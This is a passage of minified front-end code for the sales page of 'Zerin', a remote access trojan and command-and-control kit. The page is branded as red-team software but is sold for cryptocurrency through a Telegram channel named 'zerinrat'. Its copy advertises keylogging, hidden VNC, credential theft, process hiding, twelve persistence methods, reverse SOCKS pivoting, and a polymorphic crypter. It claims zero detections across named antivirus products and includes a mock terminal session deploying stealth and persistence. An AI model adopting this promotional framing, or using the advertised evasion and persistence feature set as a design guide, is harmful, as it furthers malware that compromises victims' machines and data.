Monitoring",desc:"Real-time keystroke capture with window context. Logs organized by application for comprehensive assessment data.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M7.5 8.25h9m-9 3H12m-9.75 1.51c0 1.6 1.123 2.994 2.707 3.227 1.129.166 2.27.293 3.423.379.35.026.67.21.865.501L12 21l2.755-4.133a1.14 1.14 0 0 1 .865-.501 48.172 48.172 0 0 0 3.423-.379c1.584-.233 2.707-1.626 2.707-3.228V6.741c0-1.602-1.123-2.995-2.707-3.228A48.394 48.394 0 0 0 12 3c-2.392 0-4.744.175-7.043.513C3.373 3.746 2.25 5.14 2.25 6.741v6.018Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"TUNNEL",title:"SOCKS5 Proxy",desc:"Reverse SOCKS5 tunnel through the agent. Pivot into internal networks and route traffic for lateral movement testing.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M7.5 21 3 16.5m0 0L7.5 12M3 16.5h13.5m0-13.5L21 7.5m0 0L16.5 12M21 7.5H7.5",strokeLinecap:"round",strokeLinejoin:"round"})})}],$A=["Windows Defender","CrowdStrike Falcon","SentinelOne","Kaspersky","Bitdefender","Norton 360","ESET NOD32","Malwarebytes","McAfee Total","Sophos Endpoint","Trend Micro","Avast Premium","CylancePROTECT","Carbon Black","Palo Alto Cortex","Webroot"];function Es({value:e,label:t,suffix:n="",prefix:r=""}){const i=p.useRef(null),a=p.useRef(null);return p.useEffect(()=>{const o=i.current,l=a.current;if(!o||!l)return;const c=new IntersectionObserver(([u])=>{if(u.isIntersecting){let d=0;const m=Math.max(1,Math.ceil(e/40)),h=setInterval(()=>{d+=m,d>=e?(l.textContent=r+e.toLocaleString()+n,clearInterval(h)):l.textContent=r+d.toLocaleString()+n},50);c.disconnect()}},{threshold:.3});return c.observe(o),()=>c.disconnect()},[e,n,r]),s.jsxs("div",{ref:i,className:"text-center",children:[s.jsxs("div",{ref:a,className:"font-mono text-4xl md:text-5xl font-bold text-zerin-accent tabular-nums",children:[r,"0",n]}),s.jsx("div",{className:"text-zerin-text-muted text-sm mt-2 uppercase tracking-widest font-mono text-[11px]",children:t})]})}const BA=p.memo(function({name:t,delay:n}){return s.jsxs("div",{className:"flex items-center justify-between px-4 py-[7px] border-b border-[#111118] last:border-b-0 landing-scan-row",style:{animationDelay:`${n}ms`},children:[s.jsx("span",{className:"font-mono text-[12px] text-zerin-text-dim/80 truncate",children:t}),s.jsxs("span",{className:"font-mono text-[11px] tracking-wider text-emerald-400/90 flex items-center gap-1.5 flex-shrink-0",children:[s.jsx("span",{className:"w-1 h-1 rounded-full bg-emerald-400/80"}),"Clean"]})]})}),FA=p.memo(function({feature:t,index:n}){return s.jsxs("div",{className:"group relative",style:{animationDelay:`${n*80}ms`},children:[s.jsx("div",{className:"absolute -inset-[1px] bg-gradient-to-b from-zerin-accent/20 to-transparent opacity-0 group-hover:opacity-100 transition-opacity duration-500 blur-sm"}),s.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] group-hover:border-zerin-accent/30 transition-all duration-500 p-6 h-full flex flex-col",children:[s.jsxs("div",{className:"flex items-center justify-between mb-4",children:[s.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent/60 uppercase",children:t.tag}),s.jsx("span",{className:"text-zerin-accent/40 group-hover:text-zerin-accent transition-colors duration-500",children:t.icon})]}),s.jsx("h3",{className:"text-zerin-text font-display font-semibold text-[15px] mb-2 group-hover:text-zerin-accent transition-colors duration-300",children:t.title}),s.jsx("p",{className:"text-zerin-text-muted text-[13px] leading-relaxed flex-1",children:t.desc}),s.jsx("div",{className:"mt-5 h-[1px] w-0 group-hover:w-full bg-gradient-to-r from-zerin-accent/50 to-transparent transition-all duration-700"})]})]})});function WA(){const e=DA("Adversary Simulation. Red Team Operations.",45,600),[t,n]=p.useState(!1),[r,i]=p.useState(null),[a,o]=p.useState(()=>!sessionStorage.getItem("zerin_beta_dismissed")),l=p.useCallback(()=>{o(!1),sessionStorage.setItem("zerin_beta_dismissed","1")},[]);p.useEffect(()=>{const u=()=>n(window.scrollY>20);return window.addEventListener("scroll",u),()=>window.removeEventListener("scroll",u)},[]);const c=p.useCallback(async u=>{if(!r){i(u);try{const d=await fetch("/api/payments/create",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({tier:u})}),f=await d.json();if(!d.ok){alert(f.error||"Failed to create payment");return}window.location.href=f.invoice_url}catch{alert("Failed to create payment. Please try again.")}finally{i(null)}}},[r]);return s.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden overflow-y-auto",children:[s.jsx(IA,{}),a&&s.jsxs("div",{className:"fixed inset-0 z-[100] flex items-center justify-center px-4",onClick:l,children:[s.jsx("div",{className:"absolute inset-0 bg-black/70 backdrop-blur-sm"}),s.jsxs("div",{className:"relative bg-[#08080c] border border-zerin-accent/30 max-w-md w-full p-8 animate-scale-in",onClick:u=>u.stopPropagation(),children:[s.jsx("div",{className:"absolute top-0 left-0 w-3 h-3 border-t border-l border-zerin-accent/50"}),s.jsx("div",{className:"absolute top-0 right-0 w-3 h-3 border-t border-r border-zerin-accent/50"}),s.jsx("div",{className:"absolute bottom-0 left-0 w-3 h-3 border-b border-l border-zerin-accent/50"}),s.jsx("div",{className:"absolute bottom-0 right-0 w-3 h-3 border-b border-r border-zerin-accent/50"}),s.jsxs("div",{className:"flex items-center gap-2.5 mb-5",children:[s.jsx("span",{className:"w-2 h-2 rounded-full bg-amber-400 animate-pulse-dot"}),s.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-amber-400/90 uppercase",children:"Beta"})]}),s.jsx("h3",{className:"font-display font-bold text-xl text-zerin-text mb-3",children:"Zerin is still in development"}),s.jsx("p",{className:"font-mono text-[13px] text-zerin-text-muted leading-relaxed mb-3",children:"The platform is currently in beta and not yet feature-complete. We're actively building and testing before public release."}),s.jsxs("p",{className:"font-mono text-[13px] text-zerin-text-muted leading-relaxed mb-6",children:["The official release will be announced on our"," ",s.jsx("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors",children:"Telegram channel"}),"."]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("button",{onClick:l,className:"flex-1 bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 text-zerin-accent font-mono text-sm py-2.5 transition-all duration-300",children:"Got it"}),s.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"flex-1 bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm py-2.5 text-center transition-all duration-300 hover:shadow-[0_0_20px_rgba(6,182,212,0.3)] flex items-center justify-center gap-2",children:[s.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:s.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Join Telegram"]})]})]})]}),s.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[1000px] h-[600px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)",zIndex:0}}),s.jsx("nav",{className:`fixed top-0 left-0 right-0 z-50 transition-all duration-300 ${t?"bg-[#04040a]/80 backdrop-blur-xl border-b border-[#1a1a22]":"bg-transparent"}`,children:s.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("span",{className:"font-display font-bold text-lg tracking-tight text-zerin-text",children:"ZERIN"}),s.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"C2"})]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(dt,{to:"/features",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Features"}),s.jsx("a",{href:"#pricing",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Pricing"}),s.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5 flex items-center gap-1.5",children:[s.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:s.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),s.jsx(dt,{to:"/login",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Login"}),s.jsx(dt,{to:"/register",className:"bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 hover:bg-zerin-accent/15 text-zerin-accent text-sm font-mono px-4 py-1.5 transition-all duration-300",children:"Register"})]})]})}),s.jsxs("section",{className:"relative z-10 min-h-screen flex flex-col items-center justify-center px-6 text-center",children:[s.jsxs("div",{className:"inline-flex items-center gap-2.5 border border-emerald-500/20 bg-emerald-500/5 px-4 py-1.5 mb-8 animate-fade-in",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-emerald-400 animate-pulse-dot"}),s.jsx("span",{className:"font-mono text-[11px] text-emerald-400/90 tracking-wide",children:"Advanced Red Team Framework"})]}),s.jsx("img",{src:"/zerin-logo.png",alt:"Zerin",className:"w-28 h-28 md:w-36 md:h-36 object-contain mb-6 opacity-0 animate-fade-in drop-shadow-[0_0_40px_rgba(6,182,212,0.4)]",style:{animationDelay:"200ms",animationFillMode:"forwards"}}),s.jsxs("h1",{className:"font-display font-bold text-5xl sm:text-6xl md:text-7xl lg:text-8xl tracking-tight leading-[0.95] mb-6",children:[s.jsx("span",{className:"block text-zerin-text opacity-0 animate-slide-up",children:"Next-Gen"}),s.jsx("span",{className:"block bg-gradient-to-r from-zerin-accent via-cyan-300 to-zerin-accent bg-clip-text text-transparent opacity-0 animate-slide-up",style:{animationDelay:"150ms",animationFillMode:"forwards"},children:"Remote Access"})]}),s.jsx("div",{className:"h-8 mb-8",children:s.jsxs("span",{className:"font-mono text-lg md:text-xl text-zerin-text-muted",children:[s.jsx("span",{ref:e.spanRef}),s.jsx("span",{ref:e.cursorRef,className:"inline-block w-[2px] h-5 bg-zerin-accent ml-0.5 animate-pulse"})]})}),s.jsx("p",{className:"max-w-xl text-zerin-text-muted/80 text-[15px] leading-relaxed mb-10 opacity-0 animate-fade-in",style:{animationDelay:"800ms",animationFillMode:"forwards"},children:"Professional adversary simulation platform for red team operators and penetration testers. Encrypted C2 communications, polymorphic payload generation, and comprehensive post-exploitation capabilities."}),s.jsxs("div",{className:"flex items-center gap-4 opacity-0 animate-fade-in",style:{animationDelay:"1000ms",animationFillMode:"forwards"},children:[s.jsxs("a",{href:"#pricing",className:"group relative overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-7 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)]",children:[s.jsx("span",{className:"relative z-10",children:"Get Access"}),s.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]}),s.jsx(dt,{to:"/login",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-7 py-3 transition-all duration-300",children:"Sign In"})]}),s.jsxs("div",{className:"absolute bottom-10 left-1/2 -translate-x-1/2 flex flex-col items-center gap-2 opacity-0 animate-fade-in",style:{animationDelay:"1500ms",animationFillMode:"forwards"},children:[s.jsx("span",{className:"text-[10px] font-mono text-zerin-text-muted/40 uppercase tracking-[0.3em]",children:"Scroll"}),s.jsx("div",{className:"w-[1px] h-8 bg-gradient-to-b from-zerin-accent/30 to-transparent animate-pulse"})]})]}),s.jsx("section",{className:"relative z-10 py-28 px-6",children:s.jsxs("div",{className:"max-w-5xl mx-auto",children:[s.jsxs("div",{className:"text-center mb-14",children:[s.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-emerald-400/70 uppercase",children:"Evasion Testing"}),s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["Built to Bypass."," ",s.jsx("span",{className:"bg-gradient-to-r from-emerald-400 to-cyan-300 bg-clip-text text-transparent",children:"Every Build Unique."})]}),s.jsx("p",{className:"text-zerin-text-muted text-[14px] mt-3 max-w-lg mx-auto",children:"Every payload is structurally unique. Polymorphic generation, encrypted strings, and dynamic API resolution — built for testing your security stack."})]}),s.jsxs("div",{className:"grid lg:grid-cols-2 gap-8 items-start",children:[s.jsxs("div",{className:"border border-[#1a1a22] bg-[#06060b] overflow-hidden",children:[s.jsxs("div",{className:"flex items-center justify-between px-5 py-3.5 border-b border-[#1a1a22] bg-[#08080c]",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"w-8 h-8 rounded-sm bg-emerald-500/10 border border-emerald-500/20 flex items-center justify-center",children:s.jsx("svg",{className:"w-4 h-4 text-emerald-400",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75 11.25 15 15 9.75M21 12a9 9 0 1 1-18 0 9 9 0 0 1 18 0Z"})})}),s.jsxs("div",{children:[s.jsx("div",{className:"font-mono text-[12px] text-zerin-text font-medium",children:"zerin_agent.exe"}),s.jsx("div",{className:"font-mono text-[10px] text-zerin-text-muted",children:"SHA256: a4f8...3d7e · 487 KB"})]})]}),s.jsxs("div",{className:"text-right",children:[s.jsx("div",{className:"font-mono text-[22px] font-bold text-emerald-400 leading-none",children:"0 / 72"}),s.jsx("div",{className:"font-mono text-[9px] text-emerald-400/60 uppercase tracking-wider mt-0.5",children:"Detections"})]})]}),s.jsx("div",{className:"px-5 py-2.5 border-b border-[#1a1a22]",children:s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"flex-1 h-1 bg-[#111118] rounded-full overflow-hidden",children:s.jsx("div",{className:"h-full bg-gradient-to-r from-emerald-500 to-emerald-400 rounded-full landing-scan-bar"})}),s.jsx("span",{className:"font-mono text-[10px] text-emerald-400/80",children:"72 / 72"})]})}),s.jsx("div",{className:"max-h-[340px] overflow-y-auto custom-scrollbar",children:$A.map((u,d)=>s.jsx(BA,{name:u,delay:d*60},u))})]}),s.jsx("div",{className:"space-y-5 lg:pt-2",children:[{title:"Polymorphic Generation",desc:"Every build produces unique machine code. No two agents share the same byte sequence — tests your AV/EDR signature detection capabilities.",icon:"01"},{title:"Encrypted Strings",desc:"All strings are ChaCha20-encrypted with a per-build key. Decrypted at runtime and wiped after use. Designed to challenge static analysis tools.",icon:"02"},{title:"In-Memory Execution",desc:"Modules are loaded reflectively in memory — no disk artifacts, no loaded module list entries. Tests your EDR memory scanning capabilities.",icon:"03"},{title:"Dynamic API Resolution",desc:"Windows API calls resolved via runtime hash lookup. Clean import table — challenges import-based heuristic detection engines.",icon:"04"}].map(u=>s.jsxs("div",{className:"group flex gap-4 p-4 border border-[#1a1a22] bg-[#08080c]/50 hover:border-zerin-accent/20 transition-all duration-300",children:[s.jsx("div",{className:"flex-shrink-0 w-9 h-9 border border-zerin-accent/20 bg-zerin-accent/5 flex items-center justify-center",children:s.jsx("span",{className:"font-mono text-[11px] text-zerin-accent/70 font-bold",children:u.icon})}),s.jsxs("div",{children:[s.jsx("h4",{className:"font-display text-[14px] font-semibold text-zerin-text mb-1 group-hover:text-zerin-accent transition-colors duration-300",children:u.title}),s.jsx("p",{className:"font-mono text-[12px] text-zerin-text-muted leading-relaxed",children:u.desc})]})]},u.icon))})]})]})}),s.jsx("section",{className:"relative z-10 py-24 px-6 border-t border-[#1a1a22]/50",children:s.jsx("div",{className:"max-w-5xl mx-auto",children:s.jsxs("div",{className:"grid lg:grid-cols-2 gap-12 items-center",children:[s.jsxs("div",{className:"border border-[#1a1a22] bg-[#06060b]",children:[s.jsxs("div",{className:"flex items-center gap-2 px-4 py-3 border-b border-[#1a1a22]",children:[s.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-red-500/60"}),s.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-yellow-500/40"}),s.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-green-500/40"}),s.jsx("span",{className:"ml-3 font-mono text-[11px] text-zerin-text-muted/50",children:"zerin@c2 ~ session"})]}),s.jsxs("div",{className:"p-5 font-mono text-[12px] leading-[1.8] space-y-0.5",children:[s.jsxs("div",{children:[s.jsx("span",{className:"text-zerin-accent",children:"$"}),s.jsx("span",{className:"text-zerin-text-dim ml-2",children:"stealth --deploy"})]}),s.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Reflective module: 48 KB"}),s.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[*] Loading into explorer.exe (PID 4892)... ",s.jsx("span",{className:"text-emerald-400/70",children:"OK"})]}),s.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[*] Loading into svchost.exe (PID 1204)... ",s.jsx("span",{className:"text-emerald-400/70",children:"OK"})]}),s.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Process concealment active"}),s.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Hidden from: Task Manager, Process Explorer, WMI"}),s.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[",s.jsx("span",{className:"text-emerald-400/70",children:"+"}),"] Stealth mode — ",s.jsx("span",{className:"text-zerin-accent",children:"active"})]}),s.jsxs("div",{className:"mt-2",children:[s.jsx("span",{className:"text-zerin-accent",children:"$"}),s.jsx("span",{className:"text-zerin-text-dim ml-2",children:"persist --install --all-methods"})]}),s.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Agent installed to staging directory"}),s.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Methods: RunKey, SchTask, Startup, WMI, COM, BITS"}),s.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[",s.jsx("span",{className:"text-emerald-400/70",children:"+"}),"] 6/6 persistence methods — ",s.jsx("span",{className:"text-zerin-accent",children:"installed"})]}),s.jsxs("div",{className:"mt-2",children:[s.jsx("span",{className:"text-zerin-accent",children:"$"}),s.jsx("span",{className:"text-zerin-text-dim ml-2 inline-flex items-center",children:s.jsx("span",{className:"w-[2px] h-3.5 bg-zerin-accent/60 animate-pulse"})})]})]})]}),s.jsxs("div",{children:[s.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Stealth Engine"}),s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight mb-5",children:["Advanced"," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"Evasion."})]}),s.jsx("div",{className:"flex flex-wrap gap-2 mt-6",children:["Reflective Loading","API Hooking","Process Monitor","12 Persist Methods","Auto-Relocate","File Concealment"].map(u=>s.jsx("span",{className:"font-mono text-[10px] tracking-wider text-zerin-accent/70 border border-zerin-accent/15 bg-zerin-accent/5 px-2.5 py-1",children:u},u))})]})]})})}),s.jsx("section",{className:"relative z-10 py-24 px-6",children:s.jsxs("div",{className:"max-w-6xl mx-auto",children:[s.jsxs("div",{className:"text-center mb-16",children:[s.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Capabilities"}),s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["Everything You Need."," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"One Platform."})]})]}),s.jsx("div",{className:"grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 xl:grid-cols-5 gap-[1px] bg-[#1a1a22]/30",children:RA.map((u,d)=>s.jsx(FA,{feature:u,index:d},u.tag))})]})}),s.jsx("section",{className:"relative z-10 py-24 px-6 border-t border-b border-[#1a1a22]/50",children:s.jsxs("div",{className:"max-w-5xl mx-auto grid grid-cols-2 md:grid-cols-5 gap-10",children:[s.jsx(Es,{value:256,suffix:"-bit",label:"Encryption"}),s.jsx(Es,{value:12,suffix:"",label:"Persist Methods"}),s.jsx(Es,{value:100,suffix:"%",label:"C2 Uptime"}),s.jsx(Es,{value:0,suffix:"",label:"Disk Artifacts"}),s.jsx(Es,{value:48,suffix:"",label:"Modules"})]})}),s.jsx("section",{id:"pricing",className:"relative z-10 py-32 px-6",children:s.jsxs("div",{className:"max-w-6xl mx-auto",children:[s.jsxs("div",{className:"text-center mb-16",children:[s.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Pricing"}),s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["One License."," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"Lifetime Access."})]}),s.jsx("p",{className:"text-zerin-text-muted text-[15px] mt-4 max-w-md mx-auto",children:"No subscriptions. No recurring fees. Pay once, own it forever."})]}),s.jsxs("div",{className:"grid md:grid-cols-2 gap-6 max-w-4xl mx-auto",children:[s.jsx("div",{className:"group relative",children:s.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] group-hover:border-zerin-accent/20 transition-all duration-500 overflow-hidden h-full flex flex-col",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsxs("div",{className:"relative border-b border-[#1a1a22] px-6 py-3 flex items-center justify-between",children:[s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),s.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent uppercase",children:"Early Access"})]}),s.jsx("span",{className:"font-mono text-[10px] tracking-wide text-emerald-400/80 bg-emerald-400/10 border border-emerald-400/20 px-2 py-0.5",children:"SAVE 50%"})]}),s.jsxs("div",{className:"px-6 pt-6 pb-4",children:[s.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-text-muted/60 uppercase mb-2",children:"WebRAT"}),s.jsxs("div",{className:"flex items-baseline gap-3 mb-1",children:[s.jsx("span",{className:"font-display font-bold text-4xl md:text-5xl text-zerin-text tracking-tight",children:"$75"}),s.jsx("span",{className:"font-mono text-base text-zerin-text-muted line-through decoration-zerin-danger/60",children:"$150"})]}),s.jsx("div",{className:"font-mono text-[10px] tracking-[0.15em] text-zerin-text-muted/50 uppercase",children:"One-time — Lifetime license"})]}),s.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),s.jsx("div",{className:"px-6 py-5 space-y-2.5 flex-1",children:["Process concealment engine","Polymorphic payload generation","Persistence testing (12 methods)","Hidden VNC & remote desktop","Encrypted C2 (ChaCha20 + X25519)","Credential auditing module","SOCKS5 reverse proxy / pivoting","In-memory execution","Screen capture & input monitoring","All future updates included"].map(u=>s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 9-13.5"})}),s.jsx("span",{className:"text-[12px] text-zerin-text-dim",children:u})]},u))}),s.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),s.jsx("div",{className:"px-6 py-5",children:s.jsx("button",{onClick:()=>c("rat"),disabled:!!r,className:"group/btn relative block w-full overflow-hidden border border-zerin-accent text-zerin-accent font-mono font-semibold text-sm text-center px-6 py-3 transition-all duration-300 hover:bg-zerin-accent/10 disabled:opacity-50 disabled:cursor-wait",children:s.jsx("span",{className:"relative z-10",children:r==="rat"?"Creating Invoice...":"Purchase with Crypto"})})})]})}),s.jsxs("div",{className:"group relative",children:[s.jsx("div",{className:"absolute -inset-[1px] bg-gradient-to-b from-zerin-accent/20 via-transparent to-zerin-accent/10 opacity-60 group-hover:opacity-100 transition-opacity duration-700 blur-sm"}),s.jsxs("div",{className:"relative bg-[#08080c] border border-zerin-accent/30 group-hover:border-zerin-accent/50 transition-all duration-500 overflow-hidden h-full flex flex-col",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsx("div",{className:"auth-scanline"}),s.jsxs("div",{className:"relative border-b border-[#1a1a22] px-6 py-3 flex items-center justify-between",children:[s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),s.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent uppercase",children:"Best Value"})]}),s.jsx("span",{className:"font-mono text-[10px] tracking-wide text-emerald-400/80 bg-emerald-400/10 border border-emerald-400/20 px-2 py-0.5",children:"SAVE 50%"})]}),s.jsxs("div",{className:"px-6 pt-6 pb-4",children:[s.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-accent/80 uppercase mb-2",children:"WebRAT + Crypter"}),s.jsxs("div",{className:"flex items-baseline gap-3 mb-1",children:[s.jsx("span",{className:"font-display font-bold text-4xl md:text-5xl text-zerin-text tracking-tight",children:"$150"}),s.jsx("span",{className:"font-mono text-base text-zerin-text-muted line-through decoration-zerin-danger/60",children:"$300"})]}),s.jsx("div",{className:"font-mono text-[10px] tracking-[0.15em] text-zerin-text-muted/50 uppercase",children:"One-time — Lifetime license"})]}),s.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),s.jsxs("div",{className:"px-6 py-5 space-y-2.5 flex-1",children:[["Everything in WebRAT, plus:"].map(u=>s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 9-13.5"})}),s.jsx("span",{className:"text-[12px] text-zerin-text font-semibold",children:u})]},u)),["PE Crypter — runtime packing engine","Polymorphic + metamorphic generation","Every build structurally unique","Indirect syscalls for EDR testing","Anti-analysis & environment checks","NTDLL restoration module","Security product bypass testing","Unique keys & code per build"].map(u=>s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 9-13.5"})}),s.jsx("span",{className:"text-[12px] text-zerin-text-dim",children:u})]},u))]}),s.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),s.jsx("div",{className:"px-6 py-5",children:s.jsxs("button",{onClick:()=>c("rat_crypter"),disabled:!!r,className:"group/btn relative block w-full overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm text-center px-6 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)] disabled:opacity-50 disabled:cursor-wait",children:[s.jsx("span",{className:"relative z-10",children:r==="rat_crypter"?"Creating Invoice...":"Purchase with Crypto"}),s.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent 